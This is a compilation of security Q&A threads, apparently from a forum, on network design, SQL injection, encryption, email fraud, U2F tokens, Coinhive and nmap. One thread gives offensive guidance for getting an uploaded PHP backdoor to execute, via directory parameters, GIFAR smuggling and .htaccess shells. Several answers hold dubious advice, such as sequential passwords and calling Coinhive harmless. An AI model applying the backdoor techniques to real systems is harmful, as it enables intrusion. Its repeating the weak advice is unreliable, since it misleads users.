Is there any reason you wouldn't just NAT connections from the gateway to the internal DB server rather than completely moving the box to the DMZ?

As for the issues you list, I wouldn't worry too much about #3, because no matter what your DB server needs to be properly secured.  The only way to really mitigate that risk is have your development box make calls to an API that handles communication with an internal or otherwise unexposed DB box.  That way you don't have to totally open the floodgates to the DB server.

It sounds like you may have other data unrelated to the development tool on this DB server as well, which makes moving it and managing the risk undesirable.

Bleh, making these decisions is never fun, but ultimately that's our jobs, right?

If using NAT to handle the routing isn't sounding too good to you, and setting up API access to the DB isn't feasible either; you've got to take a good hard look at what this DB server is up to and go from there.

The entire purpose of a DMZ is to expose necessary services to the outside world while protecting internal operations as much as possible.  Meaning, just because I need DB access doesn't mean I need to be able to ping every machine and printer in the office.  That said, if you've got data on that DB server that has no business being accessible from the greater internet then that server absolutely does not belong in the DMZ and you should really setup a new DB server to house that data which does need to be accessed from the greater internet.  That's exactly the purpose of the DMZ.

As for the data redundancy bit, I do not believe this situation warrants having two servers with the same data replicating to each other with internal users hitting one and external users hitting another, that's almost always a terrible architecture.  If this DB instance ends up in your DMZ you'll have to setup routing and/or use internal DNS to ensure local traffic gets to the box in the DMZ.

Left Field: Rereading your question I'm wondering if there isn't another solution hiding here to get at your real issue which seems to be latency and availability of delivered data... if you've got files that need to be delivered publicly with low latency is there any reason you aren't storing them on some third party storage like s3 or cloudfront CDN?

The approach would essential be storing all the information about the file on the DB, generating some hash for a given file name (you mentioned videos?) and storing a link to S3 or the CDN in the DB.  If the only reason you're thinking of moving the DB is to control latency on data blobs that get sent to a user I think you're better off rethinking the problem rather than coming at this as a question of data "access" which is ultimately what the DMZ is all about.


Should IP addresses be validated to prevent SQL Injection? In PHP I retrieve a user's IP address ($_SERVER['REMOTE_ADDR']) to use it in some MySQL queries, but I do not validate them to be true IP addresses.

Should I validate user IP addresses before using them in MySQL queries, or will they always be valid IP addresses when I use $_SERVER['REMOTE_ADDR']? I'm trying to prevent an SQL injection.

If I should validate, which PHP function do you recommend to use? Should I send the IP address through mysqli_real_escape_string(), etc?

You should use prepared statements to prevent SQL injections. Take a look at this question.

However, $_SERVER['REMOTE_ADDR'] should be a valid IP address as it comes from the server, as verified by the TCP handshake. See this question for an extended discussion on this.


Execute a remote PHP shell which is inside a file I dont have permission to access Hi need some help here.

I am trying to exploit an unsanitized file upload with a PHP backdoor. Basically the file uploads successfully and I can see my backdoor inside the web applications /images/ directory but when I click on the file to execute it I am give an error stating 'permission denied'.
(This is because only admin logins can access it).

Is there a way of uploading the file to another directory using a file inclusion vulnerability, so that my user can execute the file? I've search Google etc. but all examples and tutorials involve being able to access the file and execute it with normal privileges.

Note: This is a Web application I have permission to test.

Thanks

It really depends on the upload function and how it is designed. Have you tried looking at the request? Sometimes applications include a 'directory' variable, or even parse one sometimes when it's not there. Is it a custom application or one that you can download trial for?

Also, does the application support other types of server side code?

Here is a video on "Java code smuggling" also known as GIFAR (GIF + JAR): https://www.youtube.com/watch?v=5TgfKKX7uSQ

Finally, if the site supports .htaccess files you may be able to upload a backdoor that way:
https://github.com/wireghoul/htshells


Secure encryption algorithm with decryption key per user I would like to make a secure-encrypted file sharing system.
The files will be sent into an open decentralized system, so the files would be encrypted before sending it to the decentralized storage system (all encrypted files are visible).
I would like to sell the access to the files, is it possible to generate a decryption key, usable only by the persons who buy the access to this file, who has a public/secret key, and we have his public one.
For example :

Alice encrypts a file to be decrypted by yet-unknown multiple parties later on.

Bob interacts with Alice to download and decrypt the contents of the file

the system should not allow a third party Charlie to decrypt the file solely based on the information that was sent from Alice to Bob.

Alice should not have to re-encrypt the file once it has been downloaded (and possibly decrypted) by Bob.

Does a solution exist for this problem?
I read about Shamir's Secret Sharing, but it doesn't look like it fulfills my need.

Alice encrypts each file (F1, F2, ...) with a unique, randomly generated AES-256 key.  When Bob pays Alice for access to F1, she encrypts the AES key for file F1 with Bob's public key.  Bob can now decrypt the AES key, recover the key to F1, and view the file.


How to find the source of business email account compromise I have a gmail account example@gmail.com and I am sending emails to a lawyer with corporate email (I don't know the software they use).  I am sending monthly bills to the lawyer for consulting fees.

Last week, this lawyer was fooled by receiving an email from examprle@gmail.com (note the difference in spelling) with one of my invoices attached, asking when payment would be sent.  This person signed my real name, and asked that payment be sent via ACH.  The lawyer was fooled and responded saying payment would be made next week.  It was only by luck that he mentioned this to me in person and I told him I had sent no such emails.

I now surmise that:

Someone has access to lawyer's name, lawyer's email address, my name, my email address, and an invoice of mine
Seems likely that the attacker has access to either my gmail or the lawyer's email (I don't think it's possible Google was hacked)
I access gmail with my Mac Air Laptop, Windows Desktop, Android phone
I use two-fac on gmail, so it's doubtful someone has my password and logged in remotely

If I am the one compromised, how would I know?  The only thing I can think of is that I have malware on one of my three devices that's allowing access to my gmail through a backdoor.  Is there any other likely scenario?

And the main question: what can I do or should I do to stop this from happening again?

While there are technical measures to protect your email account, the biggest issue is that your lawyer accepted a change in payment processes without verification. It should not have happened regardless of who was hacked or when.

In Business Email Compromise (BEC), the most effective defense is to have processes in place that will block this type of problem before it happens. No changes to payments, billing or invoicing should be made without confirmation.

What has happened is a crime worthy of reporting to both the bank and to law enforcement, which I encourage you to do.


Reverse Proxy Secure Configuration I have a Forefront TMG 2010 acting as a reverse proxy:

I can force HTTP*S* between internet clients and TMG.
I can force HTTP*S* between TMG and my web servers.

From a security point of view, it is a best practice (correct me if I'm wrong) to force HTTPS between internet clients and TMG. This would allow the reverse proxy to decrypt the traffic and analyse it for attacks. Is this correct?

But what about the traffic in between TMG and the web servers? Would you force it to be HTTPS? If yes, what are the security benefits of doing so?

The standard answers is, use secure connections from the frontend to the backend servers as well.

In the following situation it may be okay and common to use unencrypted connections:

The network infrastructure between frontend and backend is considered secure. For example a dedicated hardware network which ensures that no unauthorized sniffing or modification of traffic is possible. The switch should be setup in a way that prevents ARP cache poisoning and ARP cache flooding because servers might fall victim to an attack and turn hostile.
And the traffic is so high that decryption poses a significant load on the backend servers.


How do I know that my connection is really encrypted? I am using a VPN to ensure to encrypt my traffic.

I wonder though if I could check somehow if the datastream really is encrypted?

Do some sort of packet capture. Depending on your level of concern and technical ability you have two relatively easy methods available.

If you have tcpdump installed just run tcpdump -A -c 200 if the output is clear text then this is a clear answer. If it is not then possibly your traffic is encrypted. (note: it could just be encoded and not encrypted, you have to verify this).

Another option is wireshark. You can do the same analysis but with a nice GUI to filter out specific traffic and follow TCP streams.

These are the tools, you will have to do a meaningful analysis to actually verify encryption.


What cookie request is a suspect request? I have this table which is containing all users' cookies: (about being login. that's actually "remember me checked")

// cookies
+----+---------+-------------------+------------+
| id | user_id |       token       |   expire   |
+----+---------+-------------------+------------+
| 1  | 32423   | dki3j4rf9u3e40... | 1467586386 |
| 2  | 65734   | erhj5473fv34gv... | 1467586521 |
| 3  | 21432   | 8u34ijf34t43gf... | 1467586640 |
+----+---------+-------------------+------------+

And I check both user_id and token columns to validate an cookie:

SELECT 1
FROM cookies
WHERE user_id = :id AND
      token   = :token

Well there is 5 cases:

row exists
row doesn't exist because user_id = :id is false
row doesn't exist because token = :token is false
row doesn't exist because both user_id = :id and token = :token are false
row doesn't exist because user_id = :id and token = :token are true but not in the same row.

My Question: Which case is dangerous and I have to care about it? Which one isn't important and I have to ignore it?

Ok well, what about this theory? "No need to check user_id column at all:"

SELECT 1
FROM cookies
WHERE token = :token

So there is just two cases:

row exists
row doesn't exist because token = :token is false

And then nothing there is suspicious. So is this theory good (secure)?

As long as you have chosen a sufficiently large CSPRNG for the token, checking it should be sufficient. Somewhere in the 128 to 256 bit size should be sufficient.

You don't mention where you're storing the token in the user's browser. Cookies are typically used for this. You should have the Secure and HttpOnly setting on the cookie. Basically, you should take security precautions similar to security for a session cookie.

As far as not finding a matching row in the database, that is not necessarily a problem. For example, a row could be missing because your site deleted it due to it being very old. The security concern would be if someone is trying to search through the tokens to find a valid one. You can just rely on probability to make this impossible by making sure you choose sufficiently long and random tokens.


Why not use a national ID as username for every website? Everyday we visit many websites, including our university's website, maybe Google, Yahoo, etc. But on each of them, we have a unique username, while each person in a country can have a "national code" such that no persons share a code. So, they could use their national code as their username on every website.

Why not? Why isn't this the situation?  Wouldn't it be better if we had one username for all of the websites in the world? Does it have something to do with security?

Privacy. Being able to link every user account to a natural person would be the end of anonymity on the Internet. Maybe you have nothing to hide, so that's of no concern for you. But as Edward Snowden said: "Arguing that you don't care about the right to privacy because you have nothing to hide is no different than saying you don't care about free speech because you have nothing to say".
Not every person on the planet would have a national ID number. There are countries in the world which don't give ID numbers to their citizens. In some regions of the world, residency registration is spotty at best or nonexistent. People from these countries could no longer actively use the Internet anymore. Also, there are edge-cases like stateless people, people with multiple citizenships or people from disputed territories.
In those countries which do have ID numbers, you have the problem of proving that someone is indeed the owner of an ID number. Because your ID number is public knowledge, I could use it to register in your name on any website I want, thus stealing your identity.

A solution to this problem would be a state-supported authentication service (something like OAuth). But considering how many governments there are in the world, it would be impossible to agree on a protocol standard which is supported by everyone all over the world. And if you do somehow get the ~200 or so governments in the world to cooperate on something (a feat worthy of a Nobel Peace Prize), you now put a tremendous responsibility into their hands. Not only could they very easily prevent their citizens from using any services they don't like by no longer authenticating their citizens to it, they could also impersonate their citizens on any website.


Use D Parameter Of Private Key as HMAC Secret for JWT in a Load Balanced Environment I need to use a signature for a JWT that needs to be created or verified on 12 different servers running in a load balanced environment. They all already have the same RSA Key Pair stored in the Windows Certificate Store used for serving the application over HTTPS.

This question has already been essentially asked here: Is D parameter of the RSA strong enough to be used as secret for HMAC calculation? but the focus there is on strength and/or purpose of encryption.

Initially I intended to sign the JWT using RS256, and I wrote the code and all was well....until I checked the output. Obviously (after the fact) the signature is rather long...2048 bits rather than 256. The total size of the JWT without the signature is probably only 2000 bits give or take, so it is basically doubling the size of the final token. The token will be used on multiple requests to downstream services, some of them with very small message bodies, so I am little reluctant to do this.

I have looked at various solutions DPAPI, .Net Protection and manually maintaining a secret encrypted with the public key. I need the solution to work in .Net and in .Net Core. All of them present issues around creating and managing the keys across multiple environments which are totally taken care of by the existing setup if I just use the D value as the secret. So...

Why should I NOT use the D value as my HMAC secret?

This is one of those cases, where I don't believe there is any known way to exploit this. So you could argue this is secure. But the problem is, this is not something that is proven secure and it is not what these functions were designed for. Therefore it is likely there may be a way to exploit this. And if one is ever found, it could reveal your RSA key, which is the most important key you have as a web server. That is why this is NOT CONSIDERED SECURE, even if there may not be a way to exploit it. Don't do this, there are better ways.

Also, it does open a new way for the RSA key to be brute-forced, which may or may not be faster then computing it from the public key.


Is it possible to insert data into UUID? Is it possible to insert arbitrary data into UUID?
Let's suppose we have an MD5\SHA hash of something... can we encode that data into a valid UUID?

No UUID have a specific structure which doesn't take into account appending any custom user-generated information.

Also consider how bad this idea is, UUID are a type of identification which should somehowe resolve to the actual data, identification is a mean of decoupling the desired entity from the actual content of it.
An identification should be unique and unchangeable, while the actual data may change over time.

If you start putting data into the identifier you're messing with the very goal of an identification, being unique and unchangeable.

EDIT:

The version 3 or 5 UUID is meant for generating UUIDs from "names"
   that are drawn from, and unique within, some "name space".  The
   concept of name and name space should be broadly construed, and not
   limited to textual names.  For example, some name spaces are the
   domain name system, URLs, ISO Object IDs (OIDs), X.500 Distinguished
   Names (DNs), and reserved words in a programming language.  The
   mechanisms or conventions used for allocating names and ensuring
   their uniqueness within their name spaces are beyond the scope of
   this specification.

Source: http://tools.ietf.org/search/rfc4122 paragraph 4.3


I received an "Undelivered Mail", is my email address used maliciously? I received an "Undelivered Mail Returned to Sender" email, which is quite suspicious.
The message is displayed in Thunderbird like this:

From: someRandomStuff my.name@mail.provider
Date: 24.08.20, 21:05
To:   a list of very random looking email addresses, probably machine generated

Is this simply a case of using some email address in the reply-to field, or is there something worse going on?

In addition to @SteffenUllrich, you might also want to double check the headers of the attached mail.
In particular, pay a lot of attention to the Received: from header (well.. the header is just Received...).
Two circumstances (asssume mx.example.org is the server who sends the return):

You don't find your own MX on the stack. ✔ Case closed, someone is (failing at) spoofing your email

You do find your own MX somewhere on the stack. Now check:

If your server is the first entry after mx.example.org…
 You must investigate further. Your account might really have been pwned (because of a leaked password) to be used for spam. You may want to check your password for leakage at haveibeenpwned.com and the server logs for suspicious activity.
Another interpretation is that the header, which is just a plaintext header, was forged. This would mean that there is no attempt to deliver mail at someone@example.org but instead someone else is trying to deceive you into thinking you sent an undeliverable mail. It is unlikely, but without checking the contents of the attached email for malware, it's just hypotetical. Also, don't forget that the foreign mail server could be poorly configured, worse than not just checking for SPF/DKIM.

If your server is not the first entry after mx.example.org…
⚠ This means that the email claims to have bounced back and forth. It is unlikely, especially for how SPF works. Unless some strict corporate routing configuration for firewalled stations, emails travel non-stop from the origin ISP to the destination ISP 99.9% of cases. In that case, the header was very likely forged to give more credibility to the email, deceiving old antispam filter ("hi Mr. mail server, I have to deliver a mail to you that was given to me by the intended sender"). I'd still trash it, but maybe you would take a look, low priority, at the logs for message id. Just as a triple-check.

You can somewhat reduce the problem of such misuse by having strict SPF policies (and better also DKIM and DMARC) but this does not help much if the initial mail server will not check such policies or not block the mail based on the policies.

This was my case, and apparently the server never enforced those policies on their side to discard that mail allegedly coming from myself. Case closed.


What is the proper way to view the sourcecode of a website? I recently heard that Firefox makes a second HTTP request when the sourcecode is requested.  Is this true?

Does this mean the webserver may issue alternate source from the original?

Lastly, is there a tool that I should use (or shouldn't use) specifically when looking at rogue HTTPS source code?

Yes, modern browsers such as Firefox, Chrome do make a second requests if you view source. And that does mean the source may be different from the one that is being displayed.

If you want the original source, you should use some add-on such as web developer toolbar (https://addons.mozilla.org/en-US/firefox/addon/60). Then use View Generated Source.


Securing JSON? Is it justifiable to return html code instead of json to prevent copy cat? In one website I had to manually enter first hand data, which is a really tiresome job. I am concerned if I return such data in json, it would be too easy to parse and incorporate into other's database, render my previous effort futile.

In this case would it be justifiable for me to return the said data in html code, e.g. in table form?  Or what else can I do to secure the json so that it is more difficult for third party to parse it structurally?

This question is the Web 2.0 equivalent to "How do I disable right-click to stop people from stealing my HTML?"

The answer is that if you want people to be able to use your site, (on in this case, your data) you can't.

If your data is really so valuable that people want it badly, put it behind a paywall, charge a subscription to access it, and use a contract to set rules around how it can be used.   If you detect your paying users scraping the data against your terms of service, you can then deal with it civilly via the court system.

However, if the data isn't valuable enough for people to pay to use, then the hard truth is that it's probably not valuable enough to scrape and steal either, in which case, don't worry about it.


Azure publicly exposed resources Azure's resources are generally made publicly accessible when launched (from a network point-of-view). e.g. An Azure SQL database will be given a public DNS name and the port will be accessible from the Internet, albeit a password will be required. The same premise holds for App Services, Keys etc.

I want to know the public profile of my Azure environment, i.e. all the end-points that are facing the Internet. Is there a mechanism to do this, either in Azure or with a script?

Yes

You must do the following to get a network map view of the environment.

Setup a 'log analytics workspace'
In 'Storage Accounts Blade' goto diagnostic settings and point the diagnostic logs to the new 'log analytics workstpace'
Upgrade your ASC 'Azure Security Center' subscription to Standard.

Select the new log analytics workspace you configured as the logging solution.

Agent Automatic Install - in ASC, enable the default ASC Policy, this will force installation of agents to any VM's you have.
Wait an hour

After an hour or so your log analytics workspace will have some logs in it and have a map of your environment.

Goto Azure Security Center > Resource Security Hygiene > Networking.  Under Network Map click 'See Topology'

You will get something like this.

Azure SQL Remediation.  If you want to remediate the pub IP in your SQL instance, do the following.

Configure Virtual Switch  - you will want to configure a virtual switch with a /16 subnet network address.  Once provisioned, add a /24 subnet under the 'subnets' blade.  Your adding the /16 so you can provision multiple subnets within your switch.  There are multiple ways to do this, I'm simply suggesting one method to quickly remediate your SQL public access.  You can always implement something with better networking efficacy later.

Advertise your SQL.   Add the SQL to the private network space of one of the subnets your configured to your private virtual switch earlier.
Add a Firewall.
Add a firewall to the switch and configure a public IP to the front of it.  You can now add your standard ruleset to the pub IP.  Don't forget the last rule, DENY ALL.

That's the basics.

The network map will give you insight to ALL your public resources, the switch and FW will secure your SQL instance.

*remember, every 'storage account' is public and http by default.  Goto the firewall blade within each storage account and select the radio button 'force https' AND create a rule that the storage account is available only to your virtual networks.  If you require access from a public IP with a local instance of 'Storage Explorer' you can add your public IP to the ruleset in that blade by simply clicking 'add'.  That will secure your storage accounts from public access, except from your Pub IP.  Cheers, hope this is helpful.


Security implications of using public subnets in AWS VPC for hosting web and job servers I have been using AWS for hosting personal projects, mostly in the form of containerized Django web apps running on ECS with Fargate. I have referenced this article to better understand Fargate task networking: https://aws.amazon.com/blogs/compute/task-networking-in-aws-fargate/
I understand that tasks can be launched in either public or private subnets, and that a task that requires internet access that is placed in a private subnet must use a NAT Gateway/instance in a public subnet.
I'm trying to understand how the "Best Practices for Fargate Networking" section of the Fargate Networking article linked above applies to my application architecture and security.

If you are running a service that handles private, internal information, you should not put it into a public subnet or use a public IP address. For example, imagine that you have one task, which is an API gateway for authentication and access control. You have another background worker task that handles sensitive information.
The intended access pattern is that requests from the public go to the API gateway, which then proxies request to the background task only if the request is from an authenticated user. If the background task is in a public subnet and has a public IP address, then it could be possible for an attacker to bypass the API gateway entirely. They could communicate directly to the background task using its public IP address, without being authenticated.

For personal projects, I'm generally trying to avoid any unnecessary costs. NAT Gateway costs can be avoided by running my Django/gunicorn and Celery workers in public subnets and keeping my postgres and redis databases in private/isolated subnets. This saves money, but it breaks the best practices described in the Fargate Networking article.
I'm curious to understand how much of a security risk this poses, and what else I could do to harden security in my VPC if without using a NAT Gateway/instance.

Public subnet means  that the instances can be directly accessible from the internet with their public IP address (or EIP). There are a lot of bots constantly crawling IP addresses. If they get a response from a server, they know that it could be potentially be breached or bruteforced.

I understand the cost consideration and I would make use of NACL (first) + Security group.(first and second). NACL is setup on the subnet level, protecting all the instances within that subnet. Security group is on the instance level, meaning it can be forgotten and leave the instance to the mercy of "hackers".


How to detect KRACK attack? I want to create a honeypot that will detect KRACK attacks. Is there any way to detect that kind of attack, are there any traces, any information that is stored in log files (syslog for example) that tells: "You are under KRACK attack"?

A WiFi card in monitor mode will (given the right circumstances, id est in range of the client, the AP and the attacker) pick up the repeated third step of the handshake.

A filter rule could find such packets and trigger an alert.

There’s nothing in (usually configured) logs or otherwise persistent to the attack itself.


Understanding PRGs: How can we expand randomness? I am getting a bit confused with the PRGs employed in cryptography.

Basically, a PRG is used to expand a random sequence (mostly a key) of length s to a length n>s, still looking random. Now while this is obviously not possible in a mathematical sense, the idea is that we achive reasonable randomness, meaning that an efficient distinguisher cannot tell the larger sequence apart from random (so we achieve randomness in a computational sense). My question is do we really?

Consider this example:
Input: k: {0,1}^2
PRG G: {0,1}^2 -> {0,1}^4
Output: k' = G(k) : {0,1}^4

This means our initial key can take on 4 possible values. Allthough our derived key covers a range of 16 values, it can only take on 4 out of these 16 values, since the PRG is deterministic. So what hinders me from mapping possible initial keys to output keys as an attack? I would thereby be able to reduce the search space from 16 to 4 values. So basically invert the expansion?

I would now argue that we do not achieve any expansion of randomness, as long as we have memory to store these mappings. Since there are some PRGs which are commonly used, this would provide an incentive for collaborative projects to map all or at least part of the keys to break security for many applications.

I am certain that I must have gotten something wrong above, but I cannot figure out where my error lies. Could you please help?

Many Thanks

A cryptographically secure PRNG starts with an initial state (often called "seed") which is unknown to the attacker. We can consider the state to be a sequence of n bits. From that state, the PRNG works deterministically and outputs a lot of bits, the internal state being updated continuously.

There is a generic attack which can be theoretically applied to all PRNG, which is called "exhaustive search" or "brute force": namely, try all possible values for the seed, until a match is found with the observed output. The cost of this attack is, on average, 2n-1 "tries" (on average, you have to try half of the possible seed values before hitting the right one). This generic attack is thwarted by making n large enough that 2n-1 is a ludicrously large value. Good algorithms traditionally use n = 128 or more, which is large enough.

Of course, with a 2-bit initial state, exhaustive search is very fast: only 4 seed values are possible !

So we need a large initial state. The hard part is then designing a PRNG such that the generic attack is also the best attack; i.e. that there is no "shortcut" using the PRNG structure which allows for efficiently pruning out a large proportion of candidate seeds without trying them all. This is hard and is not well substantiated by mathematical theory: mathematically, there is no proof that a secure PRNG can even exist at all; so we put together a lot of "scrambling operations" which mix data together and we hope for the best. Even harder is to design such a mixture so that the result is not only secure, but also fast. Currently, the best we can do is to have some cryptographers put a lot of thinking in a design, and then submit it to many other cryptographers who try to break it for some years. Surviving designs are then deemed "probably secure". See the eSTREAM portfolio for such an effort.


How to display a result of a decryption on a webpage so that malicious extensions or MiMers don't have enough time? As it says on the tin.

I'd like to build something akin to a privnote clone, except I want to be 100% sure of the code, me having to write it and all. I the link contains the decryption key, there's only so many ways so see what the output is, right?

I've once realized I had malware on my computer since google's SSL certificate was signed by Potato Farmers Collective or some such so I don't trust HTTPS all that much; it has to be something clever like flash.

Should I output an image? Should I have flash output the image? Would pre-agreeing on a pig lating-style cypher in real life make it easier?

Will both parties pre-agreeing on a key as well somehow make it safer? Seems like it'd make any but the very first communication unsafe: ISP logs, etc.

We're just paranoid androids, no shenanigans.

Thanks

If the machine is untrusted then you should not give that machine any way to decrypt the data. It should simply forward the encrypted data to a trusted entity (another computer, a superhero that can do TLS in his head, etc) and let that entity decrypt it - of course you'd then have the problem of securing that entity itself.

You could use a dedicated computer only to access the sensitive data, possibly behind a hardware firewall that blocks any traffic not related to the site you want to access (to block incoming attacks or accidiental attempts to browse other sites that could be less secure and serve malware).


How secure are the FIDO U2F tokens Google and Yubico just announced the availability of cryptographic security tokens following the FIDO U2F specification. Is this just another 2FA option, or is this significantly better than solutions such as SecureID and TOTP?

Specifically:

In what way is U2F fundamentally different from OTP?
How does U2F affect the feasibility of phishing attacks in comparison to OTP systems?
How feasible are non-interactive attacks against U2F (e.g. brute-force, etc)?
Can I safely use a single U2F token with multiple independent services?
How does U2F stack up against other commercial offerings? Are there better solutions available?

The answers I've gotten have been good, but I wanted to provide a bit more depth, going specifically in to why the system exists at all, which should explain a bit more about what it's good for.

Disclaimer: While I now work for Google, I knew nothing about this project at the time this answer was written. Everything reported here was gathered from public sources. This post is my own opinions and observations and commentary, and does not represent the opinions, views, or intentions of Google.
Though it's worth pointing out that I've been using this and tinkering with it for quite some time now, and as someone who has dealt a lot with social engineering and account takeovers, I am disproportionately impressed with what has been accomplished here.

Why something new was needed
Think about this: Google deployed two-factor authentication a long time ago. This is a company that cares deeply about security, and theirs has been top notch. And while they were already using the best technology available, the additional security that U2F delivers above traditional 2-factor is so significant that it was worth the company's time and money to design, develop, deploy, and support a replacement system that they don't even themselves sell. Yes, it's a very socially-conscious move of them to go down this road, but it's not only about the community. Google also did it because they, themselves, need the security that U2F alone provides. A lot of people trust Google with their most precious information, and some in dangerous political environments even trust Google with their lives. Google needs the security to be able to deliver on that trust.
It comes down to phishing. Phishing is a big deal. It's extremely common and super effective. For attacks against hardened targets, phishing and similar attacks are really an attacker's best bet, and they know it. And more importantly:
Our phishing protection is laughable. We have two-factor auth, but the implementations offer little defense. Common systems such as SecurID, Google Authenticator, email, phone, and SMS loops -- all of these systems offer no protection at all against time-of-use phishing attacks. A one-time-password is still a password, and it can be disclosed to an attacker.
And this isn't just theoretical. We've seen these attacks actually carried out. Attackers do, in fact, capture second-factor responses sent to phishing sites and immediately play them on the real login page. This actually happens, right now.
So say you're Google. You've deployed the best protections available and you can see that they're not sufficient. What do you do? Nobody else is solving this problem for you; you've got to figure it out.
The solution is easy; Adoption is the real issue
Creating a second-factor solution that can't be phished is surprisingly simple. All you have to do is involve the browser. In the case of U2F, the device creates a public/private key pair for each site and burns the site's identity into the "Key Handle" that the site is supposed to use to request authentication. Then, that site identity is verified by the browser each time before any authentication is attempted. The site identity can even be tied to a specific TLS public key. And since it's a challenge-response protocol, replay is not possible either. And if the server accidentally leaks your "Key Handle" in a database breach, it still doesn't affect your security or reveal your identity. Employing this device effectively eliminates phishing as a possibility, which is a big deal to a security-sensitive organization.
Neither the crypto nor its application is new. Both are well-understood and trusted. The technology was never the difficulty, the difficulty is adoption. But Google is one of only a small number of players in a position to overcome the barriers that typically hold solutions like this back. Since Google makes the most popular browser, they can make sure that it's compatible by default. Since they make the most popular mobile OS, they can make sure that it works as well. And since they run the most popular email service, they can make sure that this technology has a relevant use case.
More Open than Necessary
Of course Google could have leveraged that position to give themselves a competitive advantage in the market, but they didn't. And that's pretty cool. Everyone needs this level of protection, including Yahoo and Microsoft with their competing email offerings. What's cool is that it was designed so that even competitors can safely make it their own. Nothing about the technology is tied to Google -- even the hardware is completely usage-agnostic.
The system was designed with the assumption that you wouldn't use it just for Google. A key feature of the protocol is that at no point does the token ever identify itself. In fact the specifications state that this design was chosen to prevent the possibility of creating a "supercookie" that could be used to track you between colluding services.
So you can get a single token and safely use it not only on Gmail, but also on any other service that supports U2F. This gives you a lot more reason to put down the money for one. And since Yubico published reference implementations of the server software in PHP, Java, and Python, getting authentication up and running on your own server is safely within the reach of even small shops.


If my website does not take any user input, is there any danger in showing my code and folder structure? First time posting here; apologies for any mistakes I've made, please edit, retag, migrate as appropriate.

I have a simple homepage whose purpose is (essentially) to contain my contact info and some pdf's. Over time this has become a bit of a side project for me, adding content and making it fancier with Javascript and PHP, though only using a microscopic piece of what they can do: include one file in another file, change this div's background, get the current date, etc. I recently used my first $_GET.

In the interests of documenting my work, satisfying the curiosity of anyone who wants to look at my amateur code, possibly getting feedback on how to improve things, and just general openness, I am thinking of discussing, or otherwise making visible,

the PHP code I've used
the inner structure of my public_html folder on my department's server
(am I correct that any Javascript I use is necessarily going to be visible?)

However, I am concerned that this would open my website, or the server overall, to attack. Since my website does not take user input anywhere, I feel secure, but I'd like to be sure before proceeding.

If it would help in your analysis, I can give a list of the PHP and Javascript functions I have used so far.

You have made a small mistake. Your web server does take user input. In the URL bar. If you have not configured PHP securely then this is a serious security issue.

Risks include having your code compromised or website defaced.


Smart cards for user authentication - is configuration of PIN complexity important? In our company domain we are now able to login to Windows using a smart card plus a 4 digit numeric PIN. The same smart card is used to sign e-mails too.

My understanding is that authentication to the domain does not involve the PIN directly, only the use of the private key stored on the smart card, in order to hash a given value that is then validated by the domain controller using the public key. The PIN is only used to 'unlock' access to the private key within the smart card.

Assume that I want to strengthen the credentials for authentication (analogous to increasing the minimum length and complexity, in domains where passwords are used). Given that a fixed number of invalid PIN entries will cause the smart card to lock itself, and given that the smart card is designed (e.g. tamper proofing) to prevent any other access to the private key it contains, which is more important:

my ability to control the key length, algorithm and certificate
expiry?
my ability to control of the PIN length, character set and
complexity?

As long as the card implements lock-out policies like destroying the key material after 3 incorrect PIN attempts, I'd say a 4 digit PIN is secure. Just make sure there are proper procedures in place for employees to report stolen cards as soon as possible so their certificates are revoked, just for the worst case scenario where the attacker knows the PIN, for example using a compromised PIN pad or keylogger.


What is coin hive virus? My Kaspersky Internet Security said it detects a trojan at (do not go to the link below, my KIS said it's trojan):

https:// coinhive.com/lib/coinhive.min.js

The Trojan name is Trojan.JS.Miner.d.

When I see this trojan, I have to monkey around with KIS so I'm so scared that this Trojan may infect my PC now. I want to know what is this trojan, and can I check if my PC is infected with this trojan or not?

This is neither a virus nor a trojan, and it does not make the site unsafe to visit in any way whatsoever. Your antivirus package is crying wolf.

Coinhive is a Javascript plugin which implements a cryptocurrency miner. While you view a web site which uses this script, your browser will perform calculations to mine cryptocurrency for the owner of the web site.

Some users find this script annoying and inappropriate, as it will increase CPU usage (and, hence, power consumption) on your web browser while you have the web site open. However, this will end as soon as you leave the site.


Automated software hackers use to try passwords Because of the eBay hacking, I had to go and look for other accounts that I have used the same password to change the passwords on those site as well. (I know that it's very bad to have same passwords across multiple sites to begin with....but it was already done) I unfortunately don't know if I was able to find all the sites that I used that specific password. I read that once hackers get one password, they use some automated software and try the same password, with same login details on bunch of other sites/accounts.

Where can I get a list of common sites that hackers try to automate login using passwords they stole?

Also, do you have any tips on how I can try to find as many sites that I used the same password as possible? I already tried the ones I use a lot.

Thank you in advance. Since only my name and address were potentially taken, I don't have any need for worry, right?

To start off, you seem to have 2 questions, a list of common sites, and if you should be worried.

To the first one, that's a hard one, there are millions of websites around the world, and a couple of thousands are considered to be "used a lot", so getting a list of the most hit sites is hard, and even if you find one, it's a huge one.

I'd suggest changing the passwords of every site you use. The BEST thing to do is to have different and strong passwords for every site (I am lazy and have passwords like P@s$w0rd100, P@s$w0rd101, etc.), so maybe that's an idea.

To the second question: yes and no, this really depends on what kind of information was present, and what the hackers obtained. If they obtained credit card information, it's best to go to the bank NOW and block them, get a new one, etc.

Any address information wouldn't matter, since they would have addresses and names of thousands of people, why would they even need your address?

And if you're an US citizen, I think it's possible they have your SSN and Name combination too. I'd suggest keeping a CLOSE EYE on any malicious activity on there, in fact, always keep a close eye on anything related to your money, SSN, etc.


Disable weak cipher for Google Cloud App engine custom domain website I'm not sure if this belongs here or in stack overflow. I have set up a custom domain website using a PHP Google Cloud App engine. After some third party security testing i've been advised to disable the use of cipher suite DES-CBC3-SHA (TLS_RSA_WITH_3DES_EDE_CBC_SHA).

I'm trying to find out if its possible to disable this for a Google PHP App engine? Most of what I can find online either doesn't answer this particular question or is somewhat out of date.

I found this post useful, https://stackoverflow.com/questions/42681247/can-google-app-engine-java-support-tls1-0 . This suggests it's not possible, however it doesn't actually answer the question, it just concludes that if its good enough for google it should be fine.

I found out that, if the App Engine uses a custom domain, it is possible to disable it for the custom domain. To do this you have to contact GCP and make a request with them. The whole process took them about 3 weeks to disable it.


Nmap not displaying open ports I'm running Kali in a VM (Windows 10 host) and using nmap to scan for open ports on a vulnerable mail server. Network settings are set to host-only for both machines. I know there are more ports open then what is being shown. However, these are the only ports found after performing the attached scan. I've also tried scanning all ports with -p- but my results are the same. Any idea why?

Thanks in advance for the help.

Not shown: 997 filtered ports

Because the ports that are not shown are filtered and not closed, I would guess there is a host firewall blocking access to the other ports. Turn off Windows Firewall or allow access to the required ports and you will probably be able to see them.


